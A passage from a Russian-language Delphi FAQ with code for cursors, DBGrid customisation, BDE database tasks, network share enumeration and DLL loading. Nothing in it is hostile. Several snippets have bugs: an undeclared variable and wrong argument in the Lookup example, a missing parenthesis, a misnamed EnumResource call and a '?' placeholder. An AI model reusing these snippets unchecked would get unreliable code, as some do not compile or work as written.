                ShowMessage('Cursor not loaded')
        else
                begin
                        Screen.Cursors[1] := h;
                        Form1.Cursor := 1;
                end;
end;
К заголовку




Как ограничить перемещение курсора мыши какой-либо областью экрана?
var
  target:TRect;
begin
 target:=Rect(0,0,800,600);
 ClipCursor(@Target);
end;
К заголовку




Как отловить перемещение курсора по всему экрану?
=== 1 ===
Делается это так:

var MousePos : TMouse;
begin
     X := MousePos.CursorPos.x;
     Y := MousePos.CursorPos.y;
end;

=== 2 ===
fred (19.05.00 02:30)
1) Форма активна и открыта функцией ShowModal.
Необходимо выполнить некоторые действия когда курсор мыши находится за границами формы и нажимается
кнопка мыши. Существует ли возможность отловить это событие. (Было предложение с борландовкого сайта
использовать свойство TControl.MouseCapture. Я пробовал - ничего не получилось)
2) Подскажите адрес аналогичной конференции по CBuilder.

2VS - Vlastin_SV@irkutskgiprodor.ru (27.07.00 06:05)
Мне кажеться что такое в принципе противоречит системе Windows потому как когда в приложении открываеться
модальная форма, то очередь собщений приложения заменяеться очередью сообщений открытого модального окна
и получается, что система обрабатывает только одно окно приложения.

maestro - maestro@bashneft.ru (27.07.00 13:41)
Кажется где-то читал, что до того как сообщение попадет в очередь контрола, оно попадает в системную очередь
Windows. Вот если вклинить свой обработчик в эту очередь, то в принципе можно отловить любое сообщение для
любого работающего приложения. Попробуй поэксперементировать с GetWindowLong и SetWindowLong. Кстати в
RXLib есть компонент, RxWindowHooker кажется, там можно посмотреть как этот метод применяется на практике.
А метод с MouseCapture должен работать

Hordi - iqsoft@news.cg.ukrtel.net (28.07.00 01:24)
В принципе, можно организовать новый поток и перед выводом модального окна его вызвать. Это позволяет
проводить любую фоновую работу, в том числе и отслеживать позицию курсора

К заголовку




Как узнать есть ли у мыши колесико?
Свойство "WheelPresent" глобального обьекта "mouse".
К заголовку




Как узнать, что курсор мыши над моей формой?
Можно использовать функцию GetCapture() из Windows API.
Примечание: Cм. документацию Windows для информации об ограничениях функции GetCapture.
Пример:
procedure TForm1.FormDeactivate(Sender: TObject);
begin ReleaseCapture; end;
procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
If GetCapture = 0 then SetCapture(Form1.Handle);
if PtInRect(Rect(Form1.Left,Form1.Top,Form1.Left + Form1.Width, Form1.Top + Form1.Height), ClientToScreen(Point(x, y))) then
   Form1.Caption := 'Мышка над формой!' else Form1.Caption := 'Мышка вне формы...';
end;
К заголовку




Как эмулировать движение мыши?
В примере мышка слегка "подталкивается" без участия пользователя.
procedure TForm1.Button1Click(Sender: TObject);
var
pt : TPoint;
begin
Application.ProcessMessages;
Screen.Cursor := CrHourglass;
GetCursorPos(pt);
SetCursorPos(pt.x + 1, pt.y + 1);
Application.ProcessMessages;
SetCursorPos(pt.x - 1, pt.y - 1);
end;
К заголовку




Как я могу использовать анимированный курсор?
=== 1 ===
Сперва Вы должны взять хэндл курсора Windows и присвоить его одному из
элементов массива Cursors обьекта Screen.
Предопределенные курсоры имеют отрицательный индекс, а определенные
пользователем (Вами) курсоры получают положительные индексы.

Ниже пример формы, использующей анимированный курсор:

procedure TForm1.Button1Click(Sender: TObject);
var
  h : THandle;
begin
  h := LoadImage(0,
    'C:\TheWall\Magic.ani',
    IMAGE_CURSOR,
    0,
    0,
    LR_DEFAULTSIZE or
    LR_LOADFROMFILE
  );
  if h = 0 then ShowMessage('Курсор не загружен')
  else
  begin
    Screen.Cursors[1] := h;
    Form1.Cursor := 1;
  end;
end;

=== 2 ===
В этой статье вы найдёте несколько способов использования собственных
курсоров, в том числе и анимированных.[это файлы с расширением.ani]
Например, у вас есть какой-то файл с расширением .ani и вы хотите его
задействовать.
Всё, что вам для этого потребуется сделать, это - поместить файл в тот же
каталог, где будет ваш  exe, а затем написать следующий код, ну,
скажем, по нажатию на кнопку:
Screen.Cursors[5] := LoadCursorFromFile('File.ani');
Screen.Cursor := 5;
Здесь используется свойство Cursors глобального объекта Screen. В нём
содержится список курсоров, доступных приложению. По индексу в
нужную позицию мы загружаем курсор из файла. А затем с помощью
свойства Cursor задействуем его. Если же вы имеете файл ресурсов,
тогда дела будут обстоять иначе:
Помещаете этот файл в тот же каталог, что и exe. Затем в модуле
объявляем глобальную константу, например после
var Form1: TForm1;
Выглядетьэто будет примерно так:
var
Form1: TForm1;
const
MyConst = 100;
С помощью этой константы мы зарезервируем новую позицию в свойстве Cursors
глобального объекта Screen. После чего подключаем файл ресурсов, т.е. если он у нас
называется Cursors.res, тогда после
{$R *.DFM}
напишем
{$R Cursors.res}  Затем, допустим, по нажатию на кнопку пишем код:
Screen.Cursors[MyConst] := LoadCursor(hInstance,'MYCURSOR');
Screen.Cursor := MyConst;
Здесь 'MYCURSOR' - это имя курсора, который нам необходимо загрузить.
Обратите внимание, если вы создаёте файл ресурсов самостоятельно, а сделать
это можно с помощью утилиты "ImageEditor", вам необходимо в именах курсоров
использовать только прописные буквы.
К заголовку




Перемещение курсора только x-координате?
В вашем обработчике OnMouseMove сделайте следующее:

   if (y<>0) and (lockY) then begin
     GetMouseCoords(NewX,NewY);
     NewY := NewY + y;                             {or should that be minus?}
     SetMouseCoords(NewX,NewY);
   end;

Переменная lockY определяет желаете ли вы подобное поведение курсора или нет.
К заголовку




Собственный курсор?
const
  SpinC_1    = MakeIntResource(10005);
  SpinC_2    = MakeIntResource(10006);
  SpinC_3    = MakeIntResource(10007);
  SpinC_4    = MakeIntResource(10008);

initialization
  Screen.Cursors[101] := LoadCursor(HInstance, SpinC_1);
  Screen.Cursors[102] := LoadCursor(HInstance, SpinC_2);
  Screen.Cursors[103] := LoadCursor(HInstance, SpinC_3);
  Screen.Cursors[104] := LoadCursor(HInstance, SpinC_4);
end;
К заголовку




Как в TDBGrid pазpешить только опеpации UPDATE записей и запpетить INSERT/DELETE?
На DataSource, к которому прицеплен Grid, вешаю обработчик на событие OnStateChange.

Ниже текст типичного обратчика -

if DBGrid1.DataSource.DataSet.State in [dsEdit, dsInsert] then
DBGrid1.Options := DBGrid1.Options + goRowSelect
else
DBGrid1.Options := DBGrid1.Options - goRowSelect;

Дело в том, что если у Grid'а стоит опция goRowSelect, то из Grid'а невозможно добавить запись. Ну а когда програмно вызываешь
редактирование или вставку, то курсор принимает обычный вид и все Ok.
К заголовку




Как заставить Pick List в DBGrid появляться быстрее?
В обработчике OnCellClick вашего TDBGrid, напишите следующее:
  keybd_event(VK_F2,0,0,0);
  keybd_event(VK_F2,0,KEYEVENTF_KEYUP,0);
  keybd_event(VK_MENU,0,0,0);
  keybd_event(VK_DOWN,0,0,0);
  keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);
  keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);

Это то же самое, что нажать F2, а затем Alt+Стрелка Вниз.
К заголовку




Как зафиксировать один или несколько столбцов в TDBGrid с возможностью навигации по этим столбцам?
Это маленькая вставка в Ваш наследник от TCustomDBGrid, которая решает данную задачу.

// DBGRIDEX.PAS
// ----------------------------------------------------------------------------
-
destructor TDbGridEx.Destroy;
begin

_HideColumnsValues.Free;
_HideColumns.Free;

inherited Destroy;
end;

// ----------------------------------------------------------------------------
constructor TDbGridEx.Create(Component : TComponent);
begin
inherited Create(Component);

FFreezeCols := ?;

_HideColumnsValues := TList.Create;
_HideColumns := TList.Create;
end;

// ----------------------------------------------------------------------------
procedure TDbGridEx.KeyDown(var Key: Word; Shift: TShiftState);
begin
if (Key = VK_LEFT) then ColBeforeEnter(-1);
if (Key = VK_RIGHT) then ColBeforeEnter(1);

inherited;
end;

// ----------------------------------------------------------------------------
procedure TDbGridEx.SetFreezeColor(AColor : TColor);
begin
InvalidateRow(0);
end;

// ----------------------------------------------------------------------------
procedure TDbGridEx.SetFreezeCols(AFreezeCols : Integer);
begin
FFreezeCols := AFreezeCols;
InvalidateRow(0);
end;

// ----------------------------------------------------------------------------
procedure TDbGridEx.ColEnter;
begin
ColBeforeEnter(0);

if Assigned(OnColEnter) then OnColEnter(Self);
end;

// ----------------------------------------------------------------------------
procedure TDbGridEx.ColBeforeEnter(ADelta : Integer);
var
nIndex : Integer;

function ReadWidth : Integer;
var
i : Integer;

begin
i := _HideColumns.IndexOf(Columns[nIndex]);

if i = -1
then result := 120
else result := Integer(_HideColumnsValues[i]);
end;

procedure SaveWidth;
var
i : Integer;

begin
i := _HideColumns.IndexOf(Columns[nIndex]);
if i <> - 1 then
begin
_HideColumnsValues[i] := Pointer(Columns[nIndex].Width);
end else
begin
_HideColumns.Add(Columns[nIndex]);
_HideColumnsValues.Add(Pointer(Columns[nIndex].Width));
end;
end;

begin
for nIndex := 0 to Columns.Count - 1 do
begin
if (Columns[nIndex].Width = 0) then
begin
if (nIndex + 1 <= FreezeCols) or (nIndex >= SelectedIndex + ADelta)
then Columns[nIndex].Width := ReadWidth;
end
else
begin
SaveWidth;
if (nIndex + 1 > FreezeCols) and
(nIndex < SelectedIndex + ADelta) and
(nIndex + 1 < Columns.Count) and
(FreezeCols > 0)
then Columns[nIndex].Width := 0;
end;
end;
end;

Q: Как узнать доступные сетевые pесуpсы?
A: type
PNetResourceArray = ^TNetResourceArray;
TNetResourceArray = array[0..MaxInt div SizeOf(TNetResource) - 1] of TNetResource;

Procedure EnumResources(LpNR:PNetResource);
Var
NetHandle: THandle;
BufSize: Integer;
Size: Integer;
NetResources: PNetResourceArray;
Count: Integer;
NetResult:Integer;
I: Integer;
NewItem:TListItem;
Begin
If WNetOpenEnum(
RESOURCE_GLOBALNET,
RESOURCETYPE_ANY,
// RESOURCETYPE_ANY - все ресурсы
// RESOURCETYPE_DISK - диски
// RESOURCETYPE_PRINT - принтеры
0,
LpNR,
NetHandle) <> NO_ERROR
then Exit;
Try
BufSize := 50 * SizeOf(TNetResource);
GetMem(NetResources, BufSize);
Try
while True do
begin
Count := -1;
Size := BufSize;
NetResult := WNetEnumResource(NetHandle, Count, NetResources, Size);
If NetResult = ERROR_MORE_DATA then
begin
BufSize := Size;
ReallocMem(NetResources, BufSize);
Continue;
end;
if NetResult <> NO_ERROR then Exit;
For I := 0 to Count-1 do
Begin
With NetResources^[I] do
Begin
If RESOURCEUSAGE_CONTAINER =
(DwUsage and RESOURCEUSAGE_CONTAINER)
then
EnumResources(@NetResources^[I]);
If dwDisplayType = RESOURCEDISPLAYTYPE_SHARE Then
// ^^^^^^^^^^^^^^^^^^^^^^^^^ - ресурс
// RESOURCEDISPLAYTYPE_SERVER - компьютер
// RESOURCEDISPLAYTYPE_DOMAIN - рабочая группа
// RESOURCEDISPLAYTYPE_GENERIC - сеть
Begin
NewItem:= Form1.ListView1.Items.Add;
NewItem.Caption:=LpRemoteName;
End;
End;
End;
End;
finally
FreeMem(NetResources, BufSize);
end;
finally
WNetCloseEnum(NetHandle);
end;
End;

procedure TForm1.Button1Click(Sender: TObject);
Var
OldCursor: TCursor;
begin
OldCursor:= Screen.Cursor;
Screen.Cursor:= crHourGlass;
With ListView1.Items do
Begin
BeginUpdate;
Clear;
EnumResource(nil);
EndUpdate;
End;
Screen.Cursor:= OldCursor;
end;

К заголовку




Как изменить цвет в ячейке DBGrid?
Вставьте следующий код в событии OnDrawDataCell:
Procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
Field: TField; State: TGridDrawState);
begin
If gdFocused in State then
with (Sender as TDBGrid).Canvas do
begin
Brush.Color := clRed;
FillRect(Rect);
TextOut(Rect.Left, Rect.Top, Field.AsString);
end;
end;
К заголовку




Как изменить цвет отмеченных записей в DBGrid?
type
THackDBGrid = class(TCustomDBGrid);
DefaultDrawing:=False;
....
procedure TfrmCard.GridDrawColumnCell(Sender: TObject; constRect: TRect;
DataCol: Integer; Column: TColumn;
State: TGridDrawState);
var
Index : Integer;
Marked, Selected: Boolean;
begin

Marked := False;
if (dgMultiSelect in Grid.Options) and THackDBGrid(Grid).Datalink.Active then
Marked:=Grid.SelectedRows.Find(THackDBGrid(Grid).Datalink.Datasource.Dataset.Bookmark,Index);

Selected := THackDBGrid(Grid).Datalink.Active and (Grid.Row-1 = THackDBGrid(Grid).Datalink.ActiveRecord);

if Marked then
begin
Grid.Canvas.Brush.Color:=$DFEFDF;
Grid.Canvas.Font.Color :=clBlack;
end;

if Selected then
begin
Grid.Canvas.Brush.Color:=$FFFBF0;
Grid.Canvas.Font.Color :=clBlack;
if Marked then
Grid.Canvas.Brush.Color:=$EFE3DF; { $8F8A30 }
end;

Grid.DefaultDrawColumnCell(Rect, DataCol, Column, State);
end;
где

THackDBGrid = class(TDBGrid)
property DataLink;
property UpdateLock;
end;
К заголовку




Как обнаружить смену фокуса в TDBGrid?
Вы можете использовать метод OnDataChange компонента Datasource к которому подсоединен DBGrid. Если свойство State
равно dsBrowse то это означает переход на другую строки (или открытие таблицы).
Почему нет этого события у самого dbGrid?  Потому что grid не единственный компонент в который используется для показа данных
из таблицы. Использование Datasource обеспечивает централизованное управление данным событием.
К заголовку




Как определить текущую строку и текущее поле в TDBGrid?
var
Col, Row: Integer;

procedure TForm1.MyDBGridDrawDataCell(Sender: TObject; const Rect: TRect;
Field: TField; State: TGridDrawState);
var
RowHeight: Integer;
begin
if gdFocused in State then
begin
RowHeight := Rect.Bottom - Rect.Top;
Row := (Rect.Top div RowHeight) - 1;
Col := Field.Index;
end;
end;

К заголовку




Как показать содержание поля Memo в DBGrid?
procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
Field: TField; State: TGridDrawState);
var
P : array [0..50] of char; {array size is number of characters needed}
BS : tBlobStream; {from the memo field}
S : String;
begin
If Field is TMemoField then begin
with (Sender as TDBGrid).Canvas do
begin
{Table1Notes is the TMemoField}
BS := tBlobStream.Create(Table1Notes, bmRead);
FillChar(P,SizeOf(P),#0); {terminate the null string}
BS.Read(P, 50); {read 50 chars from memo into blobStream}
BS.Free;
S := StrPas(P);
while Pos(#13, S) > 0 do {remove carriage returns and}
S[Pos(#13, S)] := ' '; {line feeds}
While Pos(#10, S) > 0 do
S[Pos(#10, S)] := ' ';
FillRect(Rect); {clear the cell}
TextOut(Rect.Left, Rect.Top, S); {fill cell with memo data}
end;
end;
end;
К заголовку




Как узнать, что вводится в DBGrid?
Можно узнать, что вводиться в DBGrid посмотрев в его компонент TInPlaceEdit.
procedure TForm1.DBGrid1KeyUp(Sender: TObject;
     var Key: Word; Shift: TShiftState);
var
  B: byte;

begin
  for B := 0 to DBGrid1.ControlCount - 1 do
  if DBGrid1.Controls[B] is TInPlaceEdit then
  begin
    with DBGrid1.Controls[B] as TInPlaceEdit do
    begin
      Label1.Caption := 'Text = ' + Text;
    end;
  end;
end;
К заголовку




Как использовать метод Lookup, чтобы получить значения нескольких полей?
procedure TForm1.Button1Click(Sender: TObject);
var MyResults: Variant;
 MyKeyFields, MyKeyValues: String;
 MySearchForValue: Integer;
begin
 MyKeyFields := 'CustNo';
 MySearchForValue := 1351;
 MyReturnColumns := 'Company;Addr1';
 MyResults := Table1.Lookup(MyKeyFields, MySearchForValue, MyKeyValues);
 if not VarIsNull(MyResults) then
 ShowMessage('Company: ' + MyResults[0] + ' Address: ' + MyResults[1]);
 {Для DBDemos будет возвращено "Company: Sight Diver Address: 1 Neptune Lane" }
end;
К заголовку




Как пересчитать все Calculated Fields без переоткрытия TDataSet?
Resync([rmExact, rmCenter])
К заголовку




Как проверить сохранение изменений в БД при отключении питания?
Вызовите DbiSaveChanges
Вызовите TTable.FlushBuffers
Установите параметр LOCAL SHARE равным TRUE в конфигурации BDE
К заголовку




Как скопировать значения полей записи из одной таблицы в другую?
var
Num: SmallInt;
begin
for Num := 0 to TableSource.FieldCount-1 do
begin
TableDest.Edit;
TableDest.Fields[Num].Assign(TableSource.Fields[Num];
TableDest.Post;
end;
end;
К заголовку




Как создать Lookup поля программным путем?
uses Forms, Classes, Controls, StdCtrls, Db, DBTables, DBCtrls;
type
TForm1 = class(TForm)
Table1: TTable; // DBDemos customer table
Table2: TTable; // DBDemos orders table
Button1: TButton;
DBLookupComboBox1: TDBLookupComboBox;
DataSource1: TDataSource;
Table2CustNo: TFloatField; // CustNo key field object used for Lookup
procedure Button1Click(Sender: TObject);
private { Private declarations }
public { Public declarations } end;

var Form1: TForm1;

implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
with TStringField.Create(Table2) do begin
 FieldName := 'MyLookup';
 FieldKind:= fkLookup;
 DataSet := Table2;
 Name := Dataset.Name + FieldName;
 KeyFields:= 'CustNo';
 LookUpDataset:= Table1;
 LookUpKeyFields:= 'CustNo';
 LookUpResultField:= 'Company';
 DbLookupCombobox1.DataField:= FieldName;
 DataSource1.DataSet:= Dataset;
 Table2.FieldDefs.Add(Name, ftString, 20, false);
end;
 DbLookupCombobox1.DataSource:= Datasource1;
 Table1.Active:= True;
 Table2.Active:= True;
end;
end.
К заголовку




Как сохранить/проиграть Avi файлы в БД?
Avi файлы можно сохранить в полях BLOB. Проще всего проиграть Avi файл, сохраненный в BLOB, путем записи данных из BLOB
во временный файл, а затем проиграть его в мультимедийном проигрывателе.
var
  FileName : string;

{Эта фунция получает имя временного файла из системы}
function GetTemporaryFileName : string;
{$IFNDEF WIN32}
  const MAX_PATH = 144;
{$ENDIF}
var
 {$IFDEF WIN32}
  lpPathBuffer : PChar;
 {$ENDIF}
  lpbuffer : PChar;
begin
 {Получаем буфер имени файла}
  GetMem(lpBuffer, MAX_PATH);
 {$IFDEF WIN32}
 {Получаем буфер пути к временному файлу}
  GetMem(lpPathBuffer, MAX_PATH);
 {Получаем путь к временному файлу}
  GetTempPath(MAX_PATH, lpPathBuffer);
 {Получаем имя временного файла}
  GetTempFileName(lpPathBuffer,
                  'tmp',
                  0,
                  lpBuffer);
 {Освобождаем буфер пути к временному файлу}
  FreeMem(lpPathBuffer, MAX_PATH);
 {$ELSE}
 {Получаем имя временного файла}
  GetTempFileName(GetTempDrive('C'),
                  'tmp',
                  0,
                  lpBuffer);
 {$ENDIF}
 {Создаем строку, содержащую имя временного файла и возвращаем ее}
  result := StrPas(lpBuffer);
 {Освобождаем буфер имени файла}
  FreeMem(lpBuffer, MAX_PATH);
end;

{Читаем Avi файл и записываем его в BLOB}
procedure TForm1.Button1Click(Sender: TObject);
var
  FileStream: TFileStream; {для загрузки Avi файла}
  BlobStream: TBlobStream; {Для сохранения в BLOB}
begin
 {Разрешаем перерисовку кнопок}
  Application.ProcessMessages;
 {Отключить кнопки}
  Button1.Enabled := false;
  Button2.Enabled := false;
 {Назначаем имя Avi файла для чтения}
  FileStream := TFileStream.Create(
    'C:\PROGRA~1\BORLAND\DELPHI~1\DEMOS\COOLSTUF\COOL.AVI',
    fmOpenRead);
  Table1.Edit;
 {Создаем BlobStream для TField Table1AVI}
  BlobStream := TBlobStream.Create(Table1AVI, bmReadWrite);
 {Ищем начало потока}
  BlobStream.Seek(0, soFromBeginning);
 {Удаляем любые данные, которые могут быть в нем}
  BlobStream.Truncate;
 {Копируем данные из FileStream в BlobStream}
  BlobStream.CopyFrom(FileStream, FileStream.Size);
 {Освобождаем потоки}
  FileStream.Free;
  BlobStream.Free;
 {Сохраняем запись}
  Table1.Post;
 {Делем кнопки доступными}
  Button1.Enabled := true;
  Button2.Enabled := true;
end;

{Читаем Avi файл из BLOB и проигрываем его}
procedure TForm1.Button2Click(Sender: TObject);
var
  FileStream: TFileStream; {временный файл}
  BlobStream: TBlobStream; {AVI Blob}
begin
 {Создаем поток для AVI blob}
  BlobStream := TBlobStream.Create(Table1AVI, bmRead);
  if BlobStream.Size = 0 then begin
   BlobStream.Free;
   Exit;
  end;
 {Закрываем мультимедийный проигрываель}
  MediaPlayer1.Close;
 {Очищаем имя файла}
  MediaPlayer1.FileName := '';
 {Обновляем окно проигрывателя}
  MediaPlayer1.Display := Panel1;
  Panel1.Refresh;
 {удаляем временный файл, если он существует}
  if FileName <> '' then
    DeleteFile(FileName);
 {Получаем имя временного файла}
  FileName := GetTemporaryFileName;
 {Создаем временный поток}
  FileStream := TFileStream.Create(FileName,
                                   fmCreate or fmOpenWrite);
 {Копируем BLOB во временный файл}
  FileStream.CopyFrom(BlobStream, BlobStream.Size);
 {Освобождаем потоки}
  FileStream.Free;
  BlobStream.Free;
 {Настраиваем проигрыватель на AVI файл}
  MediaPlayer1.FileName := filename;
  MediaPlayer1.DeviceType := dtAviVideo;
  MediaPlayer1.Open;
  MediaPlayer1.Play;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  MediaPlayer1.Close;
  MediaPlayer1.FileName := '';
 {Удаляем временный файл}
  if FileName <> '' then
    DeleteFile(FileName);
end;
К заголовку




Каскадное удаление в связанных таблицах?
procedure TForm1.Table1BeforeDelete(DataSet: TDataset)
begin
   with Table2 do begin
     DisableControls;
     First;
     While not EOF do   Delete;
     EnableControls;
   end;
end;
К заголовку




Создание таблицы программным путем?
Таблица может быть создана с собственником или без.
Так как вы объявили это локальной процедурой, то она не может иметь собственника, в этом случае вы должны уничтожить ее
вручную, в остальных случаях собственник уничтожит таблицу сам.
Для создания таблицы без собственника используйте следующий код:

procedure CreateATableInAUnit;
var
   myTable : TTable;
begin
  myTable := TTable.Create(nil);
  try
    myTable.DatabaseName := 'MyDB';
    myTable.TableName := 'MyTable.db';
    mytable.IndexName := 'MyIndex';
    myTable.Open;
    {do stuff}
  finally
    myTable.Free;
  end;
end;
К заголовку




Проверка дат в Table
procedure TMainForm.Table2DATASetText(Sender: TField; const Text: String);
begin
try
begin
Table2.Fields[1].Value:=StrToDate(Text);
end;
except
MessageDlg('Введите правильную дату!', mtError, [mbOk], 0);
abort;
end;
end;
К заголовку




Как вызвать функцию из DLL?
procedure TForm1.Button1Click(Sender: TObject);

type
TCallMeDll = function(a,b: Integer): string;

var
CallMeDll: TCallMeDll;
FuncPtr: TFarProc;
hDll: THandle;
result: string;

begin
hDll:=LoadLibrary('Mytestdll.dll');
FuncPtr:=GetProcAddress(hDLL,'CallMe');
@CallMeDll:=FuncPtr;
if @CallMeDll <> nil then
result:=CallMeDll(4,5);
FuncPtr:=nil;
FreeLibrary(hDll);
end;
К заголовку




Как можно подключить dll`ку и как использовать её функции
""" Slava (24.05.00 13:53)
Как можно подключить dll`ку и как использовать её функции, да и ещё можно ли узнать, какие параметры нужно передавать функции
в dll`ке???

""" Mike Goblin - mgoblin@mail.ru (27.05.00 13:35)
По-разному
1. Статическое связывание
DLL клади или в папку Windows(чтобы путь туда был прописан) или в папку с exe.
Процедуры из DLL объяви как
procedure DoSomething; external 'MYLIB.DLL';
И вроде как все.
2. Динамическое ну тут API надо юзать:вот кусок из хелпа от дельфи:

uses Windows, ...;
type
  TTimeRec = record
    Second: Integer;
    Minute: Integer;
    Hour: Integer;
  end;
  TGetTime = procedure(var Time: TTimeRec);
  THandle = Integer;var  Time: TTimeRec;
  Handle: THandle;
  GetTime: TGetTime;

  ...

begin
  Handle := LoadLibrary('DATETIME.DLL');
  if Handle <> 0 then
  begin
    @GetTime := GetProcAddress(Handle, 'GetTime');
    if @GetTime <> nil then
    begin
      GetTime(Time);
      with Time do
        WriteLn('The time is ', Hour, ':', Minute, ':', Second);
    end;
    FreeLibrary(Handle);
  end;
end;



""" 2VS (27.07.00 06:30)
Могу добавить, что в стандарном наборе Дельфы всех версий есть консольная програмка ...\delphi\bin\TDUMP.EXE для исследования
библиотек с помощью которой мона просмотреть всю информацию по библиотеке штука хорошая только вот вываливает
информации вагон без описания трудновато понять что куда если интересно то могу выслать некоторую информацию по этой проге.
К заголовку




Как написать DLL, которую можно было-бы выполнить с помощью RunDll, RunDll32?
Вы должны определить в программе вызываемую снаружи функцию.
Функция должна быть __stdcall (или WINAPI, что то же самое ;)) и иметь
четыре аргумента. Первый - HWND окна, порождаемого rundll32 (можно использовать в качестве owner'а своих dialog box'ов),
второй - HINSTANCE задачи, третий - остаток командной строки (LPCSTR, даже под NT), четвертый - не знаю ;).

 Hапример:
int __stdcall __declspec(dllexport) Test
(
  HWND hWnd,
  HINSTANCE hInstance,
  LPCSTR lpCmdLine,
  DWORD dummy

  )
{
MessageBox(hWnd, lpCmdLine, "Command Line", MB_OK);
return 0;
}
rundll32 test.dll,_Test@16 this is a command line
выдаст message box со строкой "this is a command line".


Oleg Moroz
(2:5020/701.22)

Function Test(
hWnd: Integer;
hInstance: Integer;
lpCmdLine: PChar;
dummy: Longint
): Integer; StdCall; export;
begin
Windows.MessageBox(hWnd, lpCmdLine, 'Command Line', MB_OK);
Result := 0;
end;


Akzhan Abdulin
(2:5040/55)

Давненько я ждал эту инфоpмацию! Сел пpовеpять и наткнулся на очень забавную вещь.
А именно -- пусть у нас есть исходник на Си пpимеpно такого вида:

int WINAPI RunDll( HWND hWnd, HINSTANCE hInstance, LPCSTR lpszCmdLine, DWORD
dummy )
......
int WINAPI RunDllW( HWND hWnd, HINSTANCE hInstance, LPCWSTR lpszCmdLine, DWORD
dummy )
......

    и .def-файл пpимеpно такого вида:

EXPORTS
    RunDll
    RunDllA=RunDll
    RunDllW
    то rundll32 становится pазбоpчивой -- под HТ вызывает UNICODE-веpсию. Под 95, pазумеется, ANSI. Rulez.

Alexey A Popoff
pvax@glas.apc.org, posp@ccas.ru
http://www.ccas.ru/~posp/popov/pvax.html
К заголовку




Как создать файл ресурсов в виде DLL?
Создайте пустой проект DLL , который содержит ссылку на файл ресурсов .res, который в свою очередь содержит необходимые вам
ресурсы.

Пример:

library ResTest;

uses
  SysUtils;

{$R MYRES.RES}

begin
end.

Для использования DLL'и рерсурсов:
{$IFDEF WIN32}
const BadDllLoad = 0;
{$ELSE}
const BadDllLoad = 32;
{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);
var
  h : THandle;
  Icon : THandle;

begin
  h := LoadLibrary('RESTEST.DLL');

  if h <= BadDllLoad then
    ShowMessage('Не удалось загрузить DLL ресурсов')
  else begin
    Icon := LoadIcon(h, 'ICON_1');
    DrawIcon(Form1.Canvas.Handle, 10, 10, Icon);
    FreeLibrary(h);
  end;
end;
К заголовку




Часть программы хочу разместить в DLL
часть программы хочу разместить в DLL
библиотеке,
но как из нее загружать формы и не тратить время на соединение с базой
данных
компонентом TDatabase не представляю . Может кто сталкивался с этим
вопросом ?

В DLL кидаешь на форму или DataModule компонент TDatabase.

Устанавливаеш следующие параметры:
AliasName - пустое
Connected - False
DatabaseName - какое хочеш для себя
LoginPrompt - False

Все запросы привязываются к Database в DLL.

Создаеш например

procedure InitDLL(DBHandle: HDBIDB); stdcall;
begin
...
Database.Handle := DBHandle;
...
end;

В основной программе загружаеш DLL вызываеш InitDLL,
а затем сколько угодно других процедур, которые создают формы.

Если только одна форма, так можно все объеденить.
Ну там уже как фантазия подскажет.
К заголовку




Есть ли BDE API или DLL для восстановления разрушенных индексов?
BDE содержит функцию DbiRegenIndexes() для восстановления разрушенных индексов
Добавьте в раздел USES модули DBITYPES, DBIPROCS и DBIERRS  и вызывайте функцию:
DBIRegenIndexes(Table1.Handle);
Таблица должна быть открыта в исключительном режиме, и индекс уже должен существовать.
К заголовку




Как из таблицы выбрать записи, значение, например Names, которых начинающется на any букву
select Name from Names where Name LIKE 'F%', вместо F - подставить нужную букву
К заголовку




Как создать таблицу базы данных, не используя DataBase Desktop?
Положите на форму TTable  и используйте процедуру:
procedure TForm1.CreateMyTable(NameFile: string);
begin
  with Table1 do
  begin
    Active := False;
    DatabaseName := '';
    TableName := NameFile;
    TableType := ttDefault;
    with FieldDefs do
    begin
      Clear;
      Add('EmpNo', ftInteger, 0, False);
      Add('LastName', ftString, 20, False);
      Add('FirstName', ftString, 15, False);
      Add('PhoneExt', ftString, 4, False);
      Add('HireDate', ftDateTime, 0, False);
      Add('Salary', ftFloat, 0, False);
    end;
    with IndexDefs do
    begin
      Clear;
      Add('', 'EmpNo', [ixPrimary, ixUnique]);
      Add('ByName', 'LastName;FirstName', [ixCaseInsensitive]);
    end;
    CreateTable;
  Free;
  end;
end;
К заголовку




Каким образом можно узнать где физически располагается локальная база данных, если известно имя Alias-а?
function GetPhNameByAlias( sAlias: string ): string;
var
Database: TDatabase;
pszDir: PChar;
begin
Database := TDatabase.Create( nil ); {allocate memory}
pszDir := StrAlloc( 255 );
try
Database.AliasName := sAlias;
Database.DatabaseName := 'TEMP'; {requires a name -- is ignored}
Database.Connected := True; {connect without opening any table}
DbiGetDirectory( Database.Handle, True, pszDir ); {get the dir.}
Database.Connected := False; {disconnect}
Result := StrPas( pszDir ); {convert to a string}
finally
Database.Free; {free memory}
StrDispose( pszDir );
end;
end;
К заголовку




Моя собственная база данных
В статье рассматривается работа с бинарными файлами из Delphi, а так же использование Object Pascal для управления записью,
чтением и изменением собственных типов файлов.

Постановка задачи: Допустим, мне нужно в приложении Delphi сохранять некоторую информацию на диск. Мне не охото работать с
текстовыми файлами, так как просмотр и обновление информации в них довольно муторное занятие. Преобладать будут операции
записи и чтения, в то время как операции изменения и апдейта будут присутствовать в меньшей степени. Вся информация будет
хранится в переопределённом типе данных Pascal Record. Итак, какой подход мне лучше всего использовать?

BDE плюс Paradox или Access, ... спасибо, не надо...Не хотелось бы испытывать мороку с BDE. Использовать текстовые файлы ASCII
? Не пойдёт. Нужна хоть какая-то минимальная защита, а текстовые файлы "полностью видимы". Оказывается, ответ на данный
вопрос кроется в Delphi, а именно в непечатных файлах (или файлы некоторых типов/бинарные файлы).

Файлы

В Delphi существует три класса файлов: typed, text, и untyped. Файлы typed - это файлы, которые содержат данные определённого
типа, такие как Double, Integer или предварительно определённый тип Record. Текстовые файлы содержат читаемые символы ASCII.
Файлы Untyped используются в том случае, если мы хотим работать с файлом через определённую структуру.

Файлы Typed

В отличие от тектовых файлов, которые содержат строки, завершающиеся комбинацией CR/LF, файлы typed содержат данные, взятые
из определённой структуры данных.

